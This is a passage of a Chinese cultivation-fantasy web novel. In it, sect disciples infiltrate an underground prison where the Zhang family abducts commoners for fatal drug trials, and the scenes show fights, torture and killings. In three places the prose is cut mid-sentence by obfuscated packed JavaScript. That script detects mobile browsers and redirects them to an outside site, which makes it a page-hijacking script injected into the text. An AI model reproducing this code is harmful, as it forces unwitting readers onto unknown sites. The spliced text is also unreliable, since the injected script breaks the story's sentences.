“什么时候?不就是遇到那两个凌河——”薛予蓁倏地反应过来,“难不成你和徐师姐她们去跟踪…?” 许乐禾哈哈笑了起来,赞许道:“咱们小风筝还是聪明的。” “昨日本来是打算去清水宗再打探打探消息,但去了那么多次,那宗主除了说不知道就是说不清楚,简直就是一问三不知。我和徐赠春一合计,这俩凌河药谷的人来得莫名其妙,不如跟着他们看看能不能找到什么线索。谁知,这一跟还真跟出东西来了。”许乐禾道。 “他们去了张府,张珏那时很热情地接待了他们。”徐赠春截住了许乐禾的话头,要是真让他讲下去,又不知道要讲到哪个地方去了,“我们怀疑平阳城的事情和凌河药谷也有关系。” “这可是在渝州地界!”薛予蓁道,“何况凌河药谷的人不都是以悬壶济世扬名的吗?这种事情……” “那都是多少年前的事情了,说着还是医修圣心,自从换了新谷主之后,凌河药谷便有些…”许乐禾摇摇头,一副不可说的模样。 薛予蓁想起自己母亲,一时竟有些想要去维护凌河药谷,但她又想到母亲这蒙了层雾的身份,最终还是什么都没说。 “暂且先不提凌河药谷的人,平阳城之事好歹是有了些突破口。”徐赠春道,“之前予蓁和小雨的事情…他们既然已经开始无差别的抓人,便也给了我们混进去的机会。” 薛予蓁闻言抬头看着徐赠春,道:“徐师姐,你难道是想要…” 徐赠春点点头,示意陶小雨将东西拿过来——一套新的一副和一张人皮面具。 “可是,他们是什么情况我们现在全无了解,你这样贸贸然去,怕是不太安全。”薛予蓁看着她,又瞄了几眼一旁的子书珹,想要他也来拦一拦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471906|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谁知子书珹这回居然站在徐赠春那边,反过来宽慰起薛予蓁来,“不必担心她,好歹是个金丹修士。何况,我们的目的只是试探张府,其他的嘛。”他看了一眼徐赠春,“到时再说吧。” 两位最有话语权的人都这般了,余下几位便也无可辩驳了。 ------------------------------------- 徐赠春做诱饵的事情算是定了下来。薛予蓁一时半会儿不知道该做什么,只能看着徐赠春易容。但说是易容,其实不过就是换件衣服,再将之前显眼的特征遮盖下去。徐赠春原本是一位锋芒毕露的女子,性格刚强而圆滑,不过是几息,眉目间的傲意便慢慢被妆匣里的小东西给掩盖了。 薛予蓁有些讶异,明明什么都没变,那个原本耀眼无比的徐师姐几乎是在眨眼间就变得不起眼了。徐赠春见她一脸好奇,“怎么了?” “只是觉得,徐师姐好厉害呀。”薛予蓁伸手比划了一下,“若不是我亲眼所见,还真一时半会儿认不出来。徐师姐不打算用那个面具了吗?” 徐赠春摇摇头,“那个太闷,我不愿用,这幅样子应对他们应当足以。”说罢,她放下手中的东西,闭上眼睛,深深地地吸了一口气,再睁眼时,赫然像是换了一个人。她看着薛予蓁,轻声道:“这位姑娘,我是来平阳城寻亲的,请问可有听说过一户徐姓人家?” 薛予蓁看着徐赠春无措地眨了眨眼,半晌有些为难地说道,“徐师姐不光手艺非凡,连演技也是非同寻常,我方才甚至有了能打过你的想法。” 闻言,徐赠春满意地笑了起来,“你能有如此想法,那便说明我的伪装是成功的。” 一边的子书珹倒是冷笑一声,“瞧我说过什么来着,她就是个伪君子,性情说变就能变。小师妹,可不能学这个呀。” 子书珹和徐赠春之间到底有什么渊源薛予蓁一直都没敢问过,此时被两人夹在中间,也只能尴尬的笑笑。 比起子书珹次次的挑衅,徐赠春就显得冷静许多,她将佩剑和缠枝阙取下来丢给许乐禾,“我去行动了,你们远些跟在我身后,等我的信号。” 陶小雨看着她将缠枝阙都取了下来,不禁有些担心,“师姐,连缠枝阙都要取吗?它不似佩剑,您大可将它当作装饰留下,以防万一。” 缠枝阙是徐赠春的本命法器,可以说比起用剑,她更加擅长舞鞭。但徐赠春却摇头,“你们似乎都忘记我是个药修?” 除了子书珹,几人闻言都愣了一下。她怎么说也不为过,因为太能打了,偶尔实在是让人难以想起,眼前这位是师承扶鸢长老的药修。就连许乐禾这个同门师弟都尴尬地摸了摸鼻子,“这个确实不必太担她,估计袖中毒药准备了不少。缠枝阙也算是一种身份的象征了,收起来也好。” 终于商量好了之后,一行人便趁着夜色深重溜出了城。 虽是不对付,子书珹还是在她临行前嘱咐道:“尽力而为,不要冒险。” 徐赠春深深地看了他一眼,并未言语,只点了点头便朝城门跑去。 夜色弥漫,守着城门的两位清水宗弟子百无聊赖地打了个哈欠,眼见就要到宵禁的时间了,两人对视一眼便打算关了城门。其中一人眼力好些,远远望见有人跑来,怼了怼旁边的人,“再等等,前面似乎是来了个人。” 来者是名女子,看着年纪在二十左右,许是因为路途奔波,一身疲惫难掩,发丝凌乱,衣袍有些不整。她见两人没有了关门的意思,缓了缓步子,喘着气走到他们面前,虚虚做了个礼,“多谢二位仙长。” 一位弟子道:“怎么这么晚了来平阳城?” 女子闻言眼中慢慢漫起水雾来,她极力克制着不让语气太过于可怜,却还是没能做到,“家中突生意外,爹娘都卧病在床…爹说哥哥在平阳城做工,叫我来找他借些银钱。”她终究是没止住,泪水从眼中滚落下来,“谁知半道遇见山匪,路费丢了,差点连命都没了。幸而逃脱,半点都不敢再耽搁,如此才这么晚到这里来。”说完,她就像是受到了天大的委屈一般小声啜泣起来,哭得肩膀一抖一抖的。 守门的弟子看她的确像是奔波了许久的样子,对她的话也是信了大半,又叫她说了城中哥哥的信息后便让她进去了。 一名弟子看着她进城的身影,嘀咕道:“我还当平阳城那传言传出去之后,没人愿意来了呢。” 另一人拐了拐他,“说什么呢?该去换班了。” “好嘞,累死爷了,快走快走。” 那名女子显然就是伪装过后的徐赠春,而听着传音符传来的对话的几人,都有些沉默。 薛予蓁挠了挠头,“徐师姐真是太厉害了,这些话简直是信手拈来。” 子书珹闻言只是看了她一眼,不再多说,“暗处跟上她。” 10. 第十章 试药 平阳城已经宵禁,却还有一名女子在小道上缩着肩慢慢走着,离得近了还能听见她呜咽着说着,“哥哥,你在哪?快回去看看爹娘吧。” 明明是夏季,夜晚的平阳城却冷的不像样,女子环抱双臂,手不住地在胳膊上摩擦着取暖。她漫无目的地走了许久,眼见都要从城东门走到城西门了。这时,她身后窸窸窣窣响了起来,她脊背一抖,转身警惕地看着黑压压的树林。眼神搜寻了一圈,却什么都没看见。女子只当自己是太害怕了,出现了幻听。只是还没等她呼出这一口气,便被她身后猛地探出的一只手拿着手绢捂住了口鼻。 女子惊恐地睁大双眼,双手使劲地拍打着歹人的胳膊,两只脚在地上用力的蹬着,这点力气对于身后的人来说不过挠痒痒一般。很快,女子便闭上了眼睛,手脚耷拉下去,喉咙里飘出最后的呜咽散在空气中。 蒙面人试探地晃了晃她,确定完全昏过去后便将她扛在肩上离去,走时还不忘将她蹬出的痕迹用泥沙覆盖,一整个过程熟练得不行。他又看了看四周,发现的确没什么人后才快速离去。 待他走后没一会儿,薛予蓁一行人便出现在案发现场。薛予蓁蹲在地上看了看,站起来咬牙切齿地说道:“还真是做的一点痕迹都没有,这样的事情,不知道这些人做过多少次,有多少无辜的人被这样掳去。” 子书珹面色也不太好看,他反手捏了个诀,便有一条淡蓝色的丝线若隐若现地悬浮在空中连接着远处,“跟上去瞧瞧。” 陶小雨好奇,“师兄,你何时下的诀?”其实她更想问的是子书珹怎么还给徐赠春整了个追踪诀,他二人不是相看两生厌吗? “带下山的人,好歹要带回去。”子书珹已经沿着蓝色走去,“更何况,就算有一天她死了,也不该是死在这些人手中。” 徐赠春自然不会这么容易就死了,走前她猜想到这些人绑架势必会用上迷药,可惜对于修道之人的作用不大,运气几息便能将其排出体内。她默不作声地被人扛在肩上带走,细细感受一番,略微有些惊奇,这人居然还是个金丹中期的修士。虽说徐赠春也是,并且快要突破到后期了,但佩剑和本命法器都不在身边,她不敢托大,只好默默装晕。 头朝下的滋味不好受,等到那人将徐赠春放下时,她确实有些头晕。她感觉自己应当是被带进了一个地洞中,因为在移动的过程中有那么一瞬间,徐赠春感受到了这人有跳这个动作。 “人带来了,最近进展如何?”有一人道。 “不太……人…太…又死……”声音逐渐远去,徐赠春只模模糊糊听见了几个词。 确定再听不见脚步声后,徐赠春才小心翼翼地睁开眼睛,或许是不担心被劫来的人会逃走,那些人甚至没有将她捆住。徐赠春感受了一下手下触感,是略微有些湿润的泥土。这下她确信自己是被带到了地下。睁眼后仍是一片昏黑,在稍远处有一个火把照明,好在修士目力要强于普通人,不然就是什么都看不见。 徐赠春麻利地起身,刚往外走了一步就感觉好像碰到了什么东西。她蹲下身去查看,却是愣住了——原本昏暗的环境叫她一时忘记查看周遭,先下才发现自己待的这件牢房中有不少人。看着这些人的样子,徐赠春只觉得自己怒火中烧——衣不蔽体的少女,面瘦肌黄的小孩子,几乎看不见喘息的老人家……她快速挪到铁栏边,极佳的目力叫她看见了地下这令人作呕的场景——不大的地方隔了十几个如此的小间,每间不下十个被折磨得不成样子的人,他们或躺或坐的凑在一起,有的人甚至在下一秒就没了呼吸。整个地下牢笼都弥漫着绝望和死亡的气息。 “姑娘…姑…娘……”一道虚弱的声音响起,徐赠春连忙转身去看。 是一位看起来稍微好一点的大娘,她依靠在另外人的身上,一只手以一种正常人绝不可能的角度歪折着,但她好似已经感觉不到疼痛了,倔强地用另一只完好的手朝她招了招,“来…快来…” 徐赠春看着大娘的手面露不忍,靠了过去,刚想说她能帮忙看看,却是大娘先开了口,“你是…你是第一个…刚被放进来…就,就醒过来的人,我想你可能有些东西…”说着她的声音有些发哑,“你来,你来看看…” “我来帮您看看——” “不是……不是我,是这个,这个小丫头……”大娘和周围的人费劲地挪开了些,露出了姨母笑被他们护在身后的一个小丫头。徐赠春看去,那丫头看着才不过四五岁,如今脸色惨败,眼底乌青,瘦的全身骨头都凸起来了,整个人透着死气。 徐赠春好歹学了十几年药修,一眼就看出来这丫头已经无力回天,但周围的人却都期盼地看着她,叫她没办法将这话说出口,只能凑近去伸手细细地看了看那丫头,撑开眼皮一看,瞳孔已然放大,进的气也几乎没有。 徐赠春刚要去拿丹药,想要给她再吊一口气,却见她猛地睁开眼睛,喉咙里嗬嗬两声,手在地面上抓挠了两三下,便咽气了。徐赠春伸向腰间的手僵在半空,她跟着扶鸢长老修行十余载,不同于其他弟子在金丹前不可下山的规定,她和许乐禾是时常同扶鸢长老去义诊。扶鸢长老天赋过人,医术也是五洲数一数二的,除非那些到了命数的人,其他的是能救便救过来。这丫头是第一个死在她面前的人。徐赠春呆了一下,伸手将孩子死不瞑目的双眼合上,再开口时声音沙哑,“大娘,这位小姑娘可是吃了什么?” 大娘也被小孩的死打击得有些精神涣散,徐赠春唤了她好几声她才回过神,无声的流下了一串眼泪,“吃了…天杀的!!他们给她喂了那要人命的毒药啊,她才几岁?她怎么受得住!”大娘越说情绪越激动,她原本浑浊的眼睛突然迸发出极大的恨意,她膝行着挪到了铁栏边——徐赠春这才发现大娘的腿也断了——她用她那剩余的完好的手使劲晃着栏杆,口中哀嚎着骂着。 徐赠春想要去将她拉回来,却听见了铁棍敲击的声音,而周围的人一听见这个声音便浑身僵硬起来,而后又像是约定好了一般全部往徐赠春的方向靠近,将她死死地掩盖住。徐赠春想要推开他们,却被他们抵死在墙角,大家都在小声的说着别动别出声。 于是此刻,除了大娘的叫骂声和铁棍敲击的声音,便只有大家粗重的呼吸声。 看守走到了他们这个房间,根本不理乎大娘,朝里望见小丫头的尸体,只冷淡的说了一句“又死了一个”,徐赠春听见此话,牙关死死咬着。随后便是钥匙碰撞的声音,看守开了门,大娘死命朝他撞去,却叫他一脚踹开,狠狠地撞到墙上,他啐了一声,“死老太婆,小心下一个死的就是你了。” 在人墙的缝隙中,徐赠春看见看守只是提起小丫头的一只脚,就这样倒着将人拖了出去,“就死了这么个小丫头,连那畜生的牙缝都填不饱吧。” 瞧见小丫头要被拖出去了,大娘挣扎着想去够人,却被踹的太狠,现如今动都动不了,只能恶狠狠地瞪着看守。那看守看着这一幕,竟然从中得了趣,提溜着小丫头的尸体像是逗猫一般逗着大娘,“老婆子,实在舍不得这贱丫头,不如你也这会死了算了,我带着一块儿走了,省得过会儿还得来一趟。”说罢,他和门外的看守一起哈哈大笑起来。 而徐赠春被这些人死死压着,才没冲出来将这两人打一顿。 “行了,最近本来人就少,你可别真给人弄死了,小心上面怪罪下来。”外面的人提醒道。 看守哼笑一声,“知道,知道,这不是无聊吗?” 两人又说了两句,才带着小丫头走了。周围人缓缓卸了劲,徐赠春依靠着泥墙,听着小丫头皮肉摩擦着地面的声音,死死攥着拳头直至听不见声音了才松开。 她走到大娘面前,大娘本就虚弱,被看守一脚踢得咳出血来,徐赠春心中怒火越烧越旺,面上却冷静得很,她给大娘喂下一粒续阳丹,大娘紊乱的气息慢慢平缓下来,她虚虚抬眼看着徐赠春,又抬起手,徐赠春丝毫不嫌她手上脏污,握住她的手,“我会,将你们带出去的,大娘,相信我。” 大娘眼睛亮了一下,而后缓缓闭上眼昏睡过去了。徐赠春抱起大娘放在干草铺成的小床上,转身看着其余人,“有人可以和我说说,你们都经历了什么吗?” 其实牢笼里的人根本看不见徐赠春什么样,但这十几号人却在她说出这句话后无比的亢奋,就好像是看见了光照进来了一般。 或许是因为徐赠春对他们展现出了善意,叫他们被折磨到麻木的心又重新活泛了起来。十几人你看我我看你地犹豫起来,最后一名少女被推了出来。她头发凌乱,衣服也只是堪堪蔽体。其实在他们眼中,只能模模糊糊地看见一点人影,但少女还是下意识地抬手整理了头发和衣裳。徐赠春想,她应当是位家境还不错的小姐。 果不其然,少女沉默了一会儿后慢慢开口道:“我是章泽城章家的人,名叫章晚莺,今年十七。” 徐赠春猜得不错,她的确算得上是一位小姐,章泽城离平阳城不远,虽然比不上平阳城富庶,但也是个山清水秀,人杰地灵的好地方。章,在章泽也是大姓了,章晚莺又是如何到这个地步的呢? 章晚莺继续道:“我是,我半个月前被抓到这的。半月前,我随父亲去白溪城看望舅母,夜里只在野外休息,父亲还请了几位修士沿途保护我们。谁知,夜里我感觉腹痛难捱,便独自去了林子里。”她神情平静得可怕,眼底再泛不起波澜,像是再讲别人的故事一般,“那时我们里平阳城分明还有几十里,我只感觉眼前一黑,再醒来时便到了这里。” 这回忆太过于痛苦了,章晚莺抬起手缓缓地环住自己,“起先,我只当是人贩子,可过了一天,便有了一大堆人来,”她声音开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471907|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始颤抖,“他们喂我喝了一碗药。一开始只是眼前发黑,头脑发昏,后面渐渐的就觉得身上像是被烈火灼热一般的疼,然后,我就开始呕血了。他们根本不会管,好的像我这样挺过去便还能活着,运气不好的就像小豆芽那样……”小豆芽便是刚刚咽气的那个小丫头。 在她说完后,又有人开口了,“那药三天给我们喝一次,不喝的话就没饭吃。半个月左右就会有一批喝了药还活着的人被带出去,不知道被带到哪去,但能回来的,几乎没有。” 徐赠春朝说话的人看去,是一位中年男子,他也消瘦得吓人,“你是如何得知的?你去过?” 男人连忙摆手,“不,不是,我比这位姑娘前一天被抓来,那天他们正好带人走,今天看守来送饭时,我听见他们说‘又失败了’,这才猜测的。” 越来越多的人开口说话了,他们声音放的小小的,七嘴八舌地说着自己的来历,有行乞的,有流民,也有正经人家的… 徐赠春听着,突然想起最开始的那起案子是十几年前发生的,而这里的人早则一个月,晚则几天前才被抓进来。她插嘴问出了这个问题,众人都沉默了,半晌过后,有一人开口道:“这样的条件,这样的遭遇,如何能叫人活下来。” 心脏就像是忽然间就被人攥住了一样难以呼吸,徐赠春也默然,是了,这样的情形,再强健的身体又能支撑多久。 衣袖被人拽了一下,是章晚莺,她眼含着泪看着徐赠春,“你是仙家派来救我们的吗?” 徐赠春将女孩的手握进掌心,点了点头,“我保证,一定会救各位出去。” 为了不被那个金丹修士发现不对劲,徐赠春断了传音符。而那洞口也不知道有什么阵法,斩断了子书珹的追踪诀。 察觉到法诀断掉的一瞬间,子书珹的脸色霎时变得很难看,他没将这是告诉徐赠春,也就是说,要么是徐赠春遭遇不测,要么是外力断了追踪诀。 “子书师兄?”薛予蓁感觉子书珹周身的气息一下子就沉了下来,心也不由得提了起来。 几人迅速循着蓝线的方向奔去,谁知蓝线却断在了一道陡崖面前。平阳城依山而建,这便是平阳城的边界了,五人各自在周遭探寻了一番,却什么都没发现。 “难不成,不是这里?”许乐禾道。 “不,”游鸿罕见的开了口,他抬手指着一个方向,“这边对着的便是张家的旧宅,也只能从这里联系到那里,其他地方都是暗河。” 薛予蓁迅速反应过来,游鸿原先是平阳城人,如果他说的没错,那么这里一定有一个入口被掩盖住了,而要将这里和张家旧宅连起来,那便只有地下密道了。要在这没什么人烟的地方掩盖一个地道的入口,那么这边一定是有什么不合乎常理的地方。 五人再次找起这边的异样来。他们跟着徐赠春早已到了城南门那边,远离主街区的地方,到处都是野草树木和贫瘠得无人看得上的荒田。这边或许是在很久之前还有几户人家住过,不知是不在了还是发达了,人也走了,田也荒了,就留下了一间破败的草屋。薛予蓁正焦急地翻看着这间草屋,挑起的干草带起来的灰尘比张家旧宅还大,她被呛了个狠,想着这里大概不是了,正要离开,就觉得自己脚下好像踩到了什么东西。她小心翼翼地用剑见挑开脚下那块的干草,定睛一看,瞬间就愣住了。 子书珹距离薛予蓁不远,见她站在原地不动,还以为她遇到危险了,“予蓁,怎么了?” 薛予蓁摊开手,“子书师兄,或许我们还要派人去张家守着。”她手心赫然是一枚与那天在旧宅捡到的一模一样的金珠。只不过这枚珠子远不如那枚有光泽,看着像是在这遗留很久了。 “入口应当就在这周围,”薛予蓁急切的说道,“师兄,宋璇一定知道些什么,不,她亲自来过这里,三个月前,五个月前……不论多久,她肯定知道这下面,张府旧宅下面是什么!”薛予蓁将今日攥进手心里,目光灼灼地看着子书珹,“子书师兄,我要去找她。” 子书珹看见金珠,心中也明白这件事宋璇多少都已经掺合进来了,但他还是有些犹豫,“没有关键的证据,你拿什么去质问她。而且我们还并不知道下面究竟发生了什么——” “子书师兄!”薛予蓁打断他,“他们的人都敢将无辜的人抓起来,再结合城中所传的午夜哀嚎,难道还能是什么好事情发生吗?” 子书珹平日里再不着四六,但也明白他们现在无故动手,要是真进了别人设计的圈套里,丢的是师门,是知源宗的脸。但眼前的师弟师妹都还等着他做决断,尤其是薛予蓁,此刻眼中的决意是往常看不见的。 他正要开口,不远处却传来窸窸窣窣的声音,五人纷纷警惕呵道:“谁!” 陶小雨提剑正打算追去,那人却反倒朝着他们奔来。 11. 第十一章 事发 来人的脸逐渐明晰——是彩玉。 彩玉刚到五人面前便跪下了,“求各位仙长救救我家小姐,求各位仙长救救我家小姐!” 五人被这突如其来的举动弄得有些不知所措,陶小雨依旧防备地举着剑,薛予蓁和子书珹对视一眼后便去扶彩玉。可不知彩玉哪来的那么大劲,坠着自己死死地跪在地上,拽着薛予蓁哭道:“薛姑娘,昨天的事是我家小姐不对,她只是一个人承担太久了,实在,实在是坚持不住了呀,求求您,求求您快去救救她。”说着,她竟然还想去磕头。 薛予蓁赶忙拦住了她。许乐禾道:“彩玉姑娘,你先起来,你得把事情说清楚,我们才有头绪去救你家小姐啊。” “是啊,是啊,发生什么事了?”薛予蓁问道。 彩玉神情慌张地回忆道:“半个时辰前,张少爷又说自己不好了,说自己看见好多人堵着他,要来要他的命。小姐就说他又犯病了,叫我去给他熬药。药是时常备着的,我去拿来之后,却听见有人慌张地来给张少爷说‘不好了,被发现了’。” 听到这里,几人心中一紧,追踪诀还是惊动了阵法,惊动了这边的人。 “后面,那张少爷不知怎么的就好了,他叫人收拾东西,说要离开,要小姐跟着他走,小姐不愿意,他就,就把小姐迷晕了。”说到这里,彩玉忍不住掩面哭了起来。 “不是先前还说他病着吗?怎么突然间就好了起来?”薛予蓁问。 可不管再问什么,彩玉都是哭着摇头说不知道。 薛予蓁看了子书珹一眼,子书珹眼色一沉,厉声道:“彩玉,我最后问你一次,你家小姐是不是知道张珏在干什么,你又为何知道来这里找我们求救?” 他的声音太过狠厉,彩玉怯怯地抬头看他,嘴唇嚅嗫了半天,见子书珹转身就要走,才大声道:“我说,我说,小姐的确是知道他在做什么!但,但小姐是半年前才发觉此事的,她带我来过这,说要是以后发生了什么意外,就让我来这里,说是事情败露了的话,一定是这里的密道被发现了。”她膝行几步抓住子书珹的下摆,“仙长,我就知道这些了,我家小姐也是被逼无奈,她没做什么事呀,求求您,求求你们,快去救救我家小姐!” 话已至此,张家罪名已经落实了。 薛予蓁上前一步,“子书师兄,让我去吧。” 许乐禾也站了出来,“我同予蓁一起。” 子书珹沉默半晌,点了点头,“你二人一同行动,保护好师妹。”后一句话是说给许乐禾的。两人领命之后就快速离去了。 子书珹看着剩下的两人,道:“陶小雨,你带着彩玉去清水宗找白宗主,协助他带人去张家,务必将张家的人都拿下。游鸿,你随我去张家旧宅,我们去那边的口子接应徐赠春。” 这里既然检测到追踪诀,那入口便肯定被封住了,午夜哀嚎既是从张家旧宅传出,那必定是张家旧宅有古怪,之前不敢大动作打草惊蛇,但现在既然已经惊动了幕后之人,那就算是将旧宅掘地五尺也要将人找出来! “是,师兄!”二人叠声应是。 再说地下。徐赠春安抚好众人后便撬开了门锁,出去之前,她对剩下的人道:“诸位,先莫要轻举妄动。” 待她循着记忆找到进来的那块洞口时,却发现已经被人用阵法堵住了,也不是不能破阵,不过这个阵法只能硬破,届时地下空洞必定坍塌。徐赠春蹙眉,“希望子书珹他们察觉到了这里的不对劲。” 地洞挖得简陋,几乎是一条直道挖到底。徐赠春一遍朝前走,一遍数着两旁的监牢——足足有一百二十四个,每间里面都有着五到十五个人不等,有些房间却没有人,只是密密麻麻的堆着破烂的衣物和白骨。 待徐赠春走出这令人窒息的密道时,面色冷冽得可怕。她藏在一处墙壁后听前面的看守说话,那几人面色红润,肥头大耳,中气十足,再一想到监牢里的那些无辜百姓,徐赠春简直想把这些人身上的肉一片一片割下来。 “哎,乌怀大人怎么这个时辰出去了?” “这谁知道呢?不过,今天的药呢?上次送药是三天前了吧,怎么今天的药还没到?” 药?这些人还有之前的章晚莺都提到了药?难不成他们抓这么多人是在试药?徐赠春想道,但从打听来的消息看来,张家并没有什么人患了大病,甚至连张珏的急症都是这几个月才出现的。而掳人的事件已经发生十几年了,时间显然对不上。那么,他们到底是在试什么东西的药? 忽的传来一阵急促的脚步声,“不好了不好了,少爷那边传来话,说是这里被人发现了!” “什么!” 那人喘着粗气,“少爷已经跑了!” “什么?那我们怎么办!” “他大爷的,这些少爷,出了事根本就不管我们这些人的死活,现在我们怎么办?” 眼见前面已经乱了起来,徐赠春猜测是子书珹他们发现了不对,她正想要从袖中掏迷药。余光却瞧见一道剑气破空而来,她急忙侧身闪过,剑气堪堪从她身旁而过,即便是躲闪及时,也还削下了一小片衣角。 “小老鼠,消息探听得够多了吗?”徐赠春抬眼看去,一个蒙面黑衣人提着剑从黑暗中走了出来,眼中满是狠毒的情绪,“听完了,就该去死了!!”最后一个字吐出来的瞬间,他提剑袭来。 徐赠春此刻是逃也无处可逃,避无可避,看着逼近眼前的剑尖,只能想办法将伤害降到最低。谁知剑离半尺的距离时,却被什么东西弹开了。徐赠春没时间去细看,趁着蒙面人震惊之余从墙角跑开,又从袖中掏出一把浮微散。 蒙面人急忙运气将这迷药震开,又是一剑朝徐赠春刺去,徐赠春这会儿有了空间施展拳脚,闪身躲开后捏出一张引火符朝他抛去。 两人打的一来一回,很快就被前厅的几人发现。 “乌怀大人!” “乌怀大人怎么在这?这个女的又是谁?” “几个蠢货,还不快去帮忙!!” 蒙面人本就要比徐赠春修为高一些,即便是那几个凡人毫无修为,但徐赠春佩剑和缠枝阙都没在身上,怀中符箓也快要耗尽了。双拳难敌四手,徐赠春躲得过前面两人的攻击,却无暇顾及身后人的闷棍。 “唔!”徐赠春只觉得眼前有些发黑,鲜血从额头流下,她身形晃了晃竟然也没倒下,捏了个诀回身打在偷袭之人身上。 蒙面人趁她毫无防备之际,一剑刺在她的肩膀上。 徐赠春闷哼一声,抬手握住剑身,“你们作恶,还作出优越感了?真是可笑!” 蒙面人手中力气又大了几分,见徐赠春手上鲜血直流,他哈哈笑出声,“小姑娘,这世道可不是你想的那么简单,我们作恶?”他狞笑着将剑抽了出来,“我只知道我强,而你,马上就要死了。” 徐赠春却是捂着伤口笑了起来,身体因为伤口的疼痛微微颤抖着,“我看未必。” 蒙面人看她笑起来,觉得事有蹊跷,皱眉对那几个看守说道:“你们还愣着干什么?还不把她抓住捆起来!” 那些看守却站在原地一动不动,徐赠春眼中笑意不减,轻声道:“没听到吗?还不将人抓起来?”她话音刚落,看守便朝着蒙面人扑了过去。 蒙面人眼中闪过不可思议,“这!”他迅速反应过来,“是那时的药粉?!” 虽然看守人多,蒙面人却没将这些凡人放在眼中,只一剑下去,那些人便被砍倒在地,他不屑地说道:“这又如何,一群没用的凡人又能将我怎样?” “没用的凡人?”徐赠春默念,忽而表情一变,“那就看看,你多久能解决这些人。浮微散可是我的得意之作,不光是能让人听命与我,还能……”她低低的笑了起来。 蒙面人仍不以为意,过了一会儿,他脸色变得极为难看——那些看守仍旧锲而不舍地扑上来撕咬他——他这时才明白徐赠春未尽之意是什么,这药迷了人的神智,不完成命令誓不罢休,即便是身上已经有无数伤口了。 “你这女人到底什么来头!?”蒙面人吼道。 徐赠春却不再理会他,转而去找了一位没被药物影响到的看守,那人胆小至极,看着昔日同僚互相残杀,吓得缩在墙角止不住的发抖,嘴里不停念叨着“别杀我,别杀我”。徐赠春抽出一旁长剑,抵在他的颈间,“把你知道的,关于这里的都告诉我,不然我送你去那边一起。快!” 那人结结巴巴的半个字都吐不清楚。 “这里是做什么的?”徐赠春问。 “是,是张家用来试药的。” “试什么药?什么时候开始的?” “不知道,这我不知道啊!我我我,我是近些年才被找来的。”那人惊恐地摆着手,脸又白了几分。 “这里除了关着的人,还有谁?” “前厅出去右拐,那边的房间里还有,还有药师,往,往下,还有几只凶兽……” 徐赠春微微愣了一下,结合前面发生的事,凶兽是用来干什么的不言而喻。她又将剑往前送了几分,“最后一个问题,这里的出口在哪?” 看守哆哆嗦嗦地抬手指向一个方向,“在在在那边,有个机关,往右边转三下,再往下一掰就能打开——啊!!!” 徐赠春迅速转开了脸,却仍旧又几滴血溅到了她的脸上,她起身回首看去,那些中了药的看守,要么是没了头,要么是断了腿再也爬不起来了。她冷笑一声,“阁下还是有些本事的。” 蒙面人气喘着召回洞穿胆小看守的剑,阴沉着脸道:“贱人,下一个就是你了。” 徐赠春手中长剑一振,“那就看看到底是谁在说大话了。” 子书珹同游鸿到了张家旧宅那间柴房前,可即便是知道这里有问题,也无法确认到底入口在哪里。也是正在此时,同薛予蓁相连的传音玉符响了起来,她焦急的声音传来,“子书师兄,我的寒玉心方才有了响动,徐师姐那边恐怕是遭遇不测了。” 寒玉心和扶摇佩乃是成一套的法器,若是两人分别佩戴这两个法器,则其中一方法器作用时,另一方能感受到。这本是掌门寻来给施淼淼防身的,但下山时她实在担忧薛予蓁,便将这法器给了薛予蓁。 子书珹一愣,正要询问时,那边却没了声音。他心中担忧不已,但此刻也须得重视这里的事情。他掏出符箓正要布阵,游鸿却犹豫着说道,“师兄,这下面恐怕早已被掏空做了地下空间,若是布阵强行破开,怕是下面的人会受伤。” 闻言,子书珹只得放弃这个想法,“再去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个房间要比其他房间大少,里里堆不少草药,还有许多炼药的器皿,甚至镶嵌着许多品相不凡的夜明珠照明。游鸿在门口数了数,加上被他踢昏过去的那位,共有七名药师。可能是见到出头人的惨状之后被吓到了,剩下六人都是躲在一起,神色绝望地看着游鸿,也有人死心不改,“这位小兄弟,我是——”可惜话还没说完就被游鸿堵了嘴。 这位平常在各位师姐师兄面前显得有些呆愣的师弟此刻神情称得上可怖,“如果还想活命,就闭嘴不要说话。”他掏出缚灵索将几人死死的捆住之后,甚至又设了个小阵法。 这些药师中有位年纪大的,他或许是有些名望的,似乎是从没想过自己会被这样对待,脸涨得通红,张口就骂:“你这无知小儿,你知道你抓的是什么人吗?” 游鸿本来已经走到了门口,听见此话转身折返了回去,他细细地瞧着这位药师,就在药师以为他有所动摇的时候,却抬剑将他一遍手臂自肩膀出斩断,鲜血瞬间喷涌而出。 “啊啊啊啊啊啊啊啊——!”那药师尖声叫了起来。药师最为看中的除了对草药灵药的敏锐度,其次便是那双操纵炼药的手,平常都要用脂膏小心呵护,此刻却叫人连同手臂一道斩下,这无疑是断送了他作为药师的前程,虽然他也没什么前程可言了。 